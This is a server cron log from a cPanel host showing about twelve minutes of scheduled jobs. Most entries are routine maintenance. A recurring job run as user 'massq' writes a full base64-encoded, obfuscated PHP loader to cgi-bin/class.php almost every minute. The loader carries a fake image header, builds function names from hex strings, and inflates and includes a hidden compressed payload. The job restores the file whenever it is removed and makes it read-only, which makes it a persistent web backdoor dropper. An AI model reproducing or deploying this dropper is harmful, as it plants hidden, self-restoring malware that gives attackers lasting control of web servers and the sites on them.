Sep  2 19:30:01 server CROND[10145]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:30:01 server CROND[10142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:31:01 server CROND[10968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:31:01 server CROND[10969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:31:01 server CROND[10970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:32:01 server CROND[11335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:32:01 server CROND[11336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:32:01 server CROND[11337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:33:01 server CROND[11711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:33:01 server CROND[11712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:33:01 server CROND[11713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:34:01 server CROND[12111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:34:01 server CROND[12112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:34:01 server CROND[12113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:35:01 server CROND[12620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:35:01 server CROND[12621]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:35:01 server CROND[12623]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 19:35:01 server CROND[12627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:35:01 server CROND[12630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:35:01 server CROND[12629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:35:01 server CROND[12625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:35:01 server CROND[12626]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 19:35:01 server CROND[12624]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:36:01 server CROND[13474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:36:01 server CROND[13475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:36:01 server CROND[13476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:37:01 server CROND[13902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:37:01 server CROND[13903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:37:01 server CROND[13904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:38:01 server CROND[14283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:38:01 server CROND[14284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:38:01 server CROND[14285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:39:01 server CROND[14662]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 19:39:01 server CROND[14663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:39:01 server CROND[14664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:39:01 server CROND[14665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:40:01 server CROND[15099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:40:01 server CROND[15101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:40:01 server CROND[15103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:40:01 server CROND[15105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:40:01 server CROND[15102]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:40:01 server CROND[15106]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:40:01 server CROND[15107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:40:01 server CROND[15104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:41:01 server CROND[16065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:41:01 server CROND[16066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:41:01 server CROND[16067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:42:01 server CROND[16440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:42:01 server CROND[16442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:42:01 server CROND[16441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:42:01 server CROND[16443]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
